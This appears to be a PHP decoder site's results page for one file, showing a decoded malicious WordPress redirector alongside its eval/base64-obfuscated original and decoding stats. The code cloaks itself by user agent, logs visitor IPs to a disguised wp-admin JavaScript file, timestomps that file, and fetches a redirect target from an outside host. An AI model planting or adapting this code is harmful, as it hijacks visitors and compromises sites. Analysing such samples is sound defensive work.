Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* This file is protected by copyright law and provided under license. Reverse engin..

Decoded Output download


error_reporting(0);
$IIIIIIIIIIII=$_SERVER['REMOTE_ADDR'];
if (isset($_GET['ref']))
{
$ref=$_GET['ref'];
};
$IIIIIIIIIII1=$_SERVER["HTTP_USER_AGENT"];
$IIIIIIIIIIlI='http://bsd.linuxmaniac.net/xmlsy_bsd_linuxmaniac_net.php';
$IIIIIIIIIIll=$_SERVER["HTTP_HOST"];
$IIIIIIIIIIl1=$_SERVER['DOCUMENT_ROOT'].'/wp-admin/js/'.'poster.js';
$IIIIIIIIII1I=$_SERVER['DOCUMENT_ROOT'].'/wp-admin/js/'.'post.js';
function IIIIIIIIII1l($IIIIIIIIIIlI)
{
$IIIIIIIIII11 = curl_init();
$IIIIIIIIIlIl = 5;
curl_setopt($IIIIIIIIII11,CURLOPT_URL,$IIIIIIIIIIlI);
curl_setopt($IIIIIIIIII11,CURLOPT_RETURNTRANSFER,1);
curl_setopt($IIIIIIIIII11,CURLOPT_CONNECTTIMEOUT,$IIIIIIIIIlIl);
$IIIIIIIIIllI = curl_exec($IIIIIIIIII11);
curl_close($IIIIIIIIII11);
return $IIIIIIIIIllI;
};
if (1==3)
{
}
else
{
setcookie("Mortal","1",time()+30*24*3600);
$IIIIIIIIIl1l=array("Opera","Maxthon","googlebot","msnbot","Yahoo","search","ovguide","aol","AOL","via translate.google.com","Google WAP Proxy","Google CHTML Proxy","Chrome","Firefox","WinNT-","SLCC1","Macintosh","Intel Mac OS","Linux","AppleWebKit","Safari","Ubuntu","bsalsa.com","AOLBuild","MSIEMobile","NET_mmhpset","Comcast Install","yie8");
$IIIIIIIIIl11=1;
foreach($IIIIIIIIIl1l as &$IIIIIIIII1II)
{
if(stristr($IIIIIIIIIII1,$IIIIIIIII1II))$IIIIIIIIIl11=0;
}
if ($IIIIIIIIIl11==0)
{
}
else
{
$IIIIIIIII1Il=0;
if ($IIIIIIIII1Il!=0)
{
echo "BAD country"."<br>";
}
else
{
$IIIIIIIII1I1=0;
if ($IIIIIIIII1I1==100)
{
}
else
{
if (file_exists($IIIIIIIIIIl1)) {
}else {
$IIIIIIIII1ll = fopen($IIIIIIIIIIl1,"x+");
fwrite($IIIIIIIII1ll,"");
fclose($IIIIIIIII1ll);
};
$IIIIIIIII1ll = fopen($IIIIIIIIIIl1,"r");
$IIIIIIIII111 = fread($IIIIIIIII1ll,filesize($IIIIIIIIIIl1));
fclose($IIIIIIIII1ll);
if (stristr($IIIIIIIII111,$IIIIIIIIIIII))
{
}
else
{
$IIIIIIIII1ll = fopen($IIIIIIIIIIl1,"a+");
fwrite($IIIIIIIII1ll,$IIIIIIIIIIII."
");
fclose($IIIIIIIII1ll);
touch($IIIIIIIIIIl1,filemtime($IIIIIIIIII1I));
$IIIIIIIIIllI = IIIIIIIIII1l($IIIIIIIIIIlI.'?ip='.$IIIIIIIIIIII.'&ref='.$IIIIIIIIIIll.'&country='.'unknown'.'&user_agent='.urlencode($IIIIIIIIIII1).'&referrer='.urlencode($ref));
echo "<html><head><meta http-equiv=\"refresh\" content=\"0;url=$IIIIIIIIIllI\"></meta></head></html>";
exit();
}
}
}
}
};

Did this file decode correctly?

Original Code

<?php /* This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited. */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$GLOBALS['OOO0000O0']=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5}.$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$GLOBALS['OOO0000O0'].=$GLOBALS['OOO0000O0']{3}.$OOO000000{11}.$OOO000000{12}.$GLOBALS['OOO0000O0']{7}.$OOO000000{5};$GLOBALS['OOO000O00']=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$GLOBALS['O0O000O00']=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$GLOBALS['O0O000O00']=$O0O000O00.$OOO000000{3};$GLOBALS['O0O00OO00']=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$GLOBALS['OOO00000O']=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0xbf4;eval($GLOBALS['OOO0000O0']('JE8wMDBPME8wMD0kR0xPQkFMU1snT09PMDAwTzAwJ10oJE9PTzBPME8wMCwncmInKTskR0xPQkFMU1snTzBPMDBPTzAwJ10oJE8wMDBPME8wMCwweDU3ZCk7JE9PMDBPMDBPMD0kR0xPQkFMU1snT09PMDAwME8wJ10oJEdMT0JBTFNbJ09PTzAwMDAwTyddKCRHTE9CQUxTWydPME8wME9PMDAnXSgkTzAwME8wTzAwLDB4MWE4KSwnRW50ZXJ5b3V3a2hSSFlLTldPVVRBYUJiQ2NEZEZmR2dJaUpqTGxNbVBwUXFTc1Z2WHhaejAxMjM0NTY3ODkrLz0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7'));return;?>~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alVnRPIq

Function Calls

fopen 1
fread 3
strtr 2
fclose 1
urldecode 1
str_replace 1
base64_decode 3

Variables

$O000O0O00 True
$O0O000O00 fgets
$O0O00OO00 fread
$OO00O0000 3060
$OO00O00O0 error_reporting(0); $IIIIIIIIIIII=$_SERVER['REMOTE_ADDR']..
$OOO000000 fg6sbehpra4co_tnd
$OOO00000O strtr
$OOO0000O0 base64_decode
$OOO000O00 fopen
$OOO0O0O00 index.php

Stats

MD5 263afdea606c83ae2c4927a86cccaf3d
Eval Count 3
Decode Time 193 ms